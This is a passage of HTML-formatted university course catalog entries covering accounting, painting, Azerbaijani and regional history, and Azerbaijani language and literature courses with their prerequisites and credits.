credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisites: None</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course is designed for the graduate students majoring in Economics and Business Administration as a required course. This course will focus on the user of accounting information. The purpose of this course is to introduce the «basic concepts» of accounting. With knowledge in accounting, one can understand how specific techniques and decision rules can be used from accounting records. The course covers the following topics: analyzing transactions; the matching concept and adjusting process; completing the accounting cycle; accounting for different types of businesses; accounting systems, internal controls and cash; receivables; inventories; fixed assets and intangible assets; current liabilities; corporations: organization, capital stock transactions and dividends; corporations: income and taxes, stockholders’ equity and investments in stocks; bonds payable and investments into bonds; statement of cash flows; and financial statement analysis.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 810: Auditing (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course provides knowledge important for the students majoring in Accounting and Finance. It includes planning audit, designing audit programs with internal control, audit evidence, audit work papers, cash and marketable securities, accounts receivable, inventories, property, plant and equipment, accounts payable and other liabilities, debt and equity capital losses and auditor’s reports. Casework is practiced.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 840: Management and Cost Accounting (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Use of accounting information for internal planning and control purposes; role of accounting in decisions concerning resource allocation, cost and performance analysis, evaluation of business units using data obtained from the accounting system. Use of cost information for operational and strategic control; application of statistical tools and decision models to accounting data for the purpose of facilitating managerial control; identifying cost behavior with respect to managerial decision; measuring and controlling the consumption of resources by a firms products; analyzing product cost systems in diverse production and non-manufacturing settings.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 860: Accounting Information Systems&nbsp;(3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course introduces the foundations of accounting information systems, provides knowledge and skills required by accountants as users, managers, designers, and evaluators of information systems. The topics covered include choosing, extracting, and analyzing relevant information to solve business problems, documenting and modeling business processes, developing information systems, and designing and evaluating internal controls in information systems, analyzing and resolving contemporary issues in accounting information systems. This course focuses on the knowledge and skills required providing assurance for information systems for the purpose of managing business risk.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 870: International Accounting Practices (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course is designed to study and resolve accounting problems involved in international operations. It encompasses the comparative study of different national accounting systems, the problems caused by the existing differences in practices for international operations, and organizations which have emerged to reconcile differences and to handle international accounting problems.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ACC 880: Advanced Accounting Topics (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: ACC 800 or ACC 801, ACC 840</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course is specialized in accounting topics including accounting and reporting for business combinations, international accounting and foreign currency issues, partnership accounting and other topics.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><a></a>ART 231: Painting (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Basic fundamentals of painting. Color and basic techniques. Studio work and exhibition.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><a></a><strong>HIST 116: History of Turks (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Comprehensive study of the history of the Caucasian Turkic peoples\' civilizations and cultures. There role in the process of shaping of the contemporary Caspian region\'s ethnic situation, especially their influence in the formation of Azerbaijani nation. The course embraces the history of the Caucasus Turkish Tribes and Fore Asia; formation of the Turkish States and empires in Siberia, Altay, Middle Asia, Western Europe, and on the shores of the Black Sea. Economics, culture, religion, and mode of the life of Turkish peoples are discussed.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 117: History of the Hun (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course studies the historical origin of the Hun, their political and ethnic characteristics and geographical location. The historical role of the Hun in the formation of European and Asian, and in particular Azerbaijani ethnicity is of great importance. A study of history of the Hun is based on the Chinese, European and Caucasian sources, both written and archeological ones. Topics for research and course theses will be offered for persons interested.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 210: Pre-Islamic History of Azerbaijan and Its Neighbors (Ancient and Early Medieval Period) (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers the period from the very beginning of civilization until the 8th century AD Comparative history of the ancient Azerbaijani people and the people of Georgia, Armenia, Daghestan, other Caucasian people is discussed. Emphasis is given to the formation of the states like Manna, Athropatheus, and Caucasian Albania.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 211: History of Azerbaijan (8th - 18th Centuries) (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">History of Azerbaijan of the Middle Ages: Arabian invasion, inclusion of Azerbaijan into Arabian Caliphate, and beginning of the country\'s Islamization. Study of historical development of the local feudal states in Azerbaijan: Shirvanshahs, Sajids, Shaddadids, Salarids, and Ravvadids. Formation of the Saljug Empire in Central Asia and Azerbaijan. The 12th century Azerbaijani culture. Mongol invasion. Azerbaijan in Chinghiz Khan\'s Empire and in the states of Ilkhans and Khulagiuds. The states of Qaraqoyunlu and Agqoyunlu. Safavids state of Azerbaijan. Azerbaijan in the 18th century. Azerbaijan as an arena of rivalry among Russia, Persia, and the Ottoman Empire.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 212: Modern and Contemporary History of Azerbaijan (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: HIST 211</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course is connected with the continuous rivalry of Empires for Caucasus, the division of the country into two parts between Russia and Persia (Gulustan and Turkmancay Treaties of 1813 and 1828). Since that time until 1991 North Azerbaijan existed within Russian Empire and then the USSR, but South Azerbaijan - within the Persia (Iran). A significant place is given to the History of Azerbaijan after the declaration of Independent ADR (Azerbaijan Democratic Republic) in 1918 and after 1991 - with the formation of the sovereign AR (Azerbaijan Republic).</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 213: History of the Formation and Development of Capitalistic Oil Production in Azerbaijan (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course studies the peculiarities of the formation and development of large-scale capitalist oil industry in Azerbaijan. Social-economic movements in the sphere of oil engineering; oil exportation; discoveries of new hydrocarbon resources. Creation of new oil-producing factory. Transformation of Baku into the world center of oil industry. Concentration and flow of foreign investments. The beginning of monopolization of oil industry in Azerbaijan by Nobel brothers and establishment of the great monopolistic union – \"Nobel-Mazut\". Investments of international Anglo-Dutch company \"Shell\" into oil industry of Baku. Oil production during World War I: influence of the war to the structure of production; role of Azeri oil during the war. Foundation of the council of Baku oil-producers. The development of oil industry in Azerbaijan during the Soviet period.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 215: Introduction to Archeology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course studies primitive, antique, and medieval historical material sources; restores the historical past of the mankind; investigates important changes in the development of productive forces, social relations; ascertains the origin of nations, formation and development of their culture; retraces cultural and historical relations and formation of ethnic communities. Traces the development of native Azerbaijan culture from the peopling of the continent to early historic times. Examines the archeological evidence for the antiquity, spread, and variation of cultural adaptation to changing ecological conditions.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 216: Modern History of the Middle East (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course presents a survey of the political, social and economic evolution of the Middle East in the 19th and 20th centuries, covering the impact of the West on the traditional socio-political order, state-and nation-building in the 20th century, the development of a new social order, and political and ideological conflict within and between states.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 217: History of the Origins and Development of Islam (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course is primarily concerned with the emergence and consolidation of the Islamic world -- the most significant transition in the history of the Middle East and North Africa between the origins of civilization and modern times. The overall framework is one of political history broadly conceived; within this framework themes taken from religious, cultural, social and economic history will receive considerable attention. The history of origin and formation of Islamic religion. Analysis of the history of basic Islamic doctrines\' development known as Arkan al-Islam (pillars of Islam). The review of some religious dogmas will require more extensive (from the point of chronology) review of the problem. Arabic language capability is welcomed but not required.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 220: Introduction to Ethnography (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">An introduction to the basic concepts and theories of ethnography. Study of the ethnography of Azerbaijan and ethnography of the world. The course deals with general ethnic processes, ethnic factor in the history and in the modern life, types of classification of people in the world, their economic and spirituaculture. Ethnic composition and ethno- political history of Azerbaijan are emphasized.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 313. History of South Azerbaijan (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Study of the history of South Azerbaijan from the specific aspect of its historical and socio-political development. The division of Azerbaijan in the beginning of XIX century into North and South Azerbaijan, creation of separate (different) fates and histories of one nation under the rule of the Russian and Persian empires. Emphasis of the processes occurring in South Azerbaijan after the peace treaties of Gulustan and Turkmancay in 1813 and 1828; Iranian policy of the coercive assertion of Persian culture on the population of South Azerbaijan; national-liberation movements guided by S.M.Khiyabani, Sattarkhan, and S.C.Pishavari. The course includes, as well as, the topics: South Azerbaijan during the \"cold war\"; contemporary South Azerbaijan; idea of the \"United Azerbaijan\" -- historical evolution, development, and realization tendencies.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 316: Socio-political situation in Azerbaijan in the 19-20thcenturies(3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The development of national-democratic and revolutionary movements in Azerbaijan; formation of political parties and development of the national self- consciousness. The political activity of national intelligentsia. Participation of Azerbaijan political figures in four State Dumas of Russia and the beginning of formation of Azerbaijan national political system. The formation and active participation of the first national organizations in the movement for political, economic, and social rights of Azerbaijani peoples.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 317: International Status of Azerbaijan in 1917 – 1920 (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Study of the political situation in Azerbaijan after the Russian Empire\'s fall. The Democratic Republic of Azerbaijan - the first democratic state in the Muslim East. Analysis of the formation of the national Azerbaijan state and its international recognition. Survey of the Democratic Republic of Azerbaijan Government\'s activity. Participation and acceptance of Azerbaijani delegation in the Paris Peace conference. The relationships with other states. The Soviet Russia aggression in April 1920 and the breach of historical development of Azerbaijan State system.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 320: Ethnology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The purpose of the course is to study the main basic theoretical aspects of knowledge on anthropology as the science studying human being, culture, and society in the global and general historic context. The course intends to present a comprehensive knowledge on the features of the methods, the investigating objects of this sphere of science. Emphasis is on such problems as: western ethnology and its main directions; ethno-sociology; ethnicity and nation; ethno-demographic investigations; ethnology and anthropology; political ethnology.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>HIST 550: History of Iran (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: consent of the instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course embraces long history of Iran. But attention has been given mainly to the modern and contemporary history of the multi-ethnic country. The Islamic revolution and current situation in the country have selected for more in-depth studies.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><a></a>AZLL 101: Azerbaijani Language (University Requirement) (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: High School Azerbaijani language</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course prepares students for analyzing academic texts and technical material in Azerbaijani. Advanced skills in academic and creative writing and reading comprehension are honed using academic literature across various disciplines. The topics cover culture, environment, customs and traditions, history, economics, etc.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 102.&nbsp; Introduction to Writing (3 credit)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite AZLL 101.</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Writing Strategy. Planning and organizing source material for writing, revising, editing and proofreading. Summaries, critiques and syntheses of texts. Essay and creative writing. Academic and Business writing. Prose style.&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 103: Azerbaijani Language for Foreigners (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The main emphasis is the communicative role of four skills – reading, writing, listening, and speaking. These skills are taught within the frame of topics such as greetings, making acquaintances, congratulations and thankfulness, (dis) approvals, requests, demands, introductions, apologizing, condolences, praying, etc.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 104: Advanced Azerbaijani Language (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 101</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">More complex in nature, this course covers the following problematic areas of the Azerbaijani language. Semantic structure, meaning its narrowing and broadening; semantic groupings in Azerbaijani language. Grammar, basic divisions and relations within them; grammatical categories. Syntax, the types of phrases and the sentences; text linguistics and its problematic issues; syntax of poetry; punctuation marks and their functions.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 105: Azerbaijani Literature (University Requirement) (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 101</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers study of the Azerbaijani literature from Ancient to contemporary times through historical periods. The life and works of prominent Azerbaijani poets and writers, as well as their literary works are studied. The course also covers brief information about the history and theory of literature, main goals and objectives of literary critics, etc. Central to the coursework is the study and discussion of selected works of prominent figures in Azerbaijani literature.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 106: Modern Azerbaijani Language 1 (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course discusses the sound system, phonetic phenomenon and rules of Azerbaijan literary language. It explains pronunciation norms, formation and type of writing, peculiarities of alphabet, vocabulary structure and its richness, features and the ways of development. Information is given about principles used in the orthography of Azerbaijani. The characteristic meaning of words, types of proper names, and their origin and usage in Azerbaijani literary language are elucidated in this course. It also gives information about the dictionary and its various types, rules of dictionary compilation, and ways of word-building in the literary language.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 107-307: History of Azerbaijani Literature 1-5</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course covers the emergence and evolution of the Azerbaijani literature from the times of early folklore literature up to the present in chronological order and through the stages of its development. The life and works of individual writers and poets who lived in different periods are studied, their literary activities are explored, national and global issued on which they focused are analyzed, the literary influences of a writer/poet on others are determined, and their creative activities are systemized in line with the historical period they lived. Central to the coursework is the study of selected pieces of literary work by the students and discussions on these works. The course is divided into the following 5 parts – each part lasts one semester and consists of&nbsp;<strong>3 credits</strong>:</p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 107: History of Azerbaijani Literature 1:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;Azerbaijani Folklore</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: NONE</strong></p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 109: History of Azerbaijani Literature 2:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;Ancient and Medieval Literature Prerequisite: AZLL 107</strong></p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 207: History of Azerbaijani Literature 3:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Azerbaijani Literature from 17<sup>th</sup>&nbsp;to mid-19<sup>th</sup>&nbsp;centuries&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 109.</strong></p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 208: History of Azerbaijani Literature 4:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Azerbaijani Literature from mid-19<sup>th</sup>&nbsp;to early 20<sup>th</sup>&nbsp;centuries</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 207</strong></p><ul type=\"disc\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><li><strong>AZLL 307: History of Azerbaijani Literature 5:</strong></li></ul><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>20<sup>th</sup>&nbsp;century Azerbaijani Literature Prerequisite: AZLL 208</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 108: Modern Azerbaijani Language 2 – Morphology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 106</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">All important practical problems concerning morphology are covered in the teaching of this subject. This curriculum analyzes the modern Azerbaijani grammatical system, its originality and other features. The words are grouped according to their meaning, form, function and rules of modification.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 205: Advanced Azerbaijani Literature (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 105</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course aims at giving optimal knowledge on advanced Azerbaijani Literature. It covers the latest Azerbaijani Literature, development of journalistic genres, searches for new forms and contents in literature. The course also includes written and oral compositions on the bases of classic and modern literary extracts.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 206: Modern Azerbaijani Language 3 – Syntax (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 108</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">It explains teaching of word combinations, syntactic relations, sentences, and their structural types. It also deals with punctuation marks and their proper use.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 306: History of Azerbaijani Literary Language (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: AZLL 206</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course explores the main sources of Azerbaijani language history and its origin, the rise of literary language, and problems extant in development periods. It also surveys the historical and cultural conditions of the different periods. The role of outstanding personalities related to the developmental history of Azerbaijan literary language is given in chronological order.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 416: Fundamentals of Literary Critics (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Fundamentals of Literary Critics as a subject is composed of three parts: Theory of Literature, History of Literature, and Literary Critique. This course mainly deals with issues covered in the Theory of Literature. Features of literary works and principles of reflecting real-life events, as well as the social importance and role of literary works are studied. The course also covers such topics as principles of literary creativity and rules of their development, unity of content and form, characteristics of different types and genres, structures of literary works, styles and methods, etc.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 417: The Environment of Eastern Languages and Azerbaijani Literature (4 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The main objective of this course is to study role of Arabic and Persian rules of writing and literature in the formation of Azerbaijani rules of writing and literature.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 512: Azerbaijani Dialectology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Dialectology (dialects) and accents are constructed in this section of linguistics. This course explains the phonetic, lexical, morphological and syntactical properties of dialects and accents. It also provides an extensive classification of Azerbaijani dialects and accents on the principles of geographical territory and investigates the theoretical issues of dialectology.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 513: Onomastics (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: Consent of instructor</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The types of special names in language, their origin and use are elucidated in the course. It gives information about scientific classification and descriptions of all kinds of onomastic units.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 514: Textual Criticism (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prerequisite: Consent of instructor</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Complex investigation of the historical roots and development of ways of textual criticism as a science, as well as modern textual criticism, its methods and principles are pursued in this course. The emergence and development of Azerbaijani textual criticism, Azerbaijani Middle Age manuscript books and booklets, scientific analyses of the manuscript text copies, exploration of text origins, attribution of the text (the determination of the author), research of text translations, text preparation for publications and etc. are comprehensively enlightened.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>AZLL 515: Azerbaijani Historical Grammar (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: Consent of instructor</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course provides general information about historical grammar, discusses the developmental processes of separate parts of speech, investigates historical Azerbaijani&nbsp;phonetics and morphology, analyses the origin of the language and historical development of its morphological features, and explains and elucidates the establishment of the modern language.</p>  <br></div>'),(1255,793,'en','Literature (AZLL)','Literature 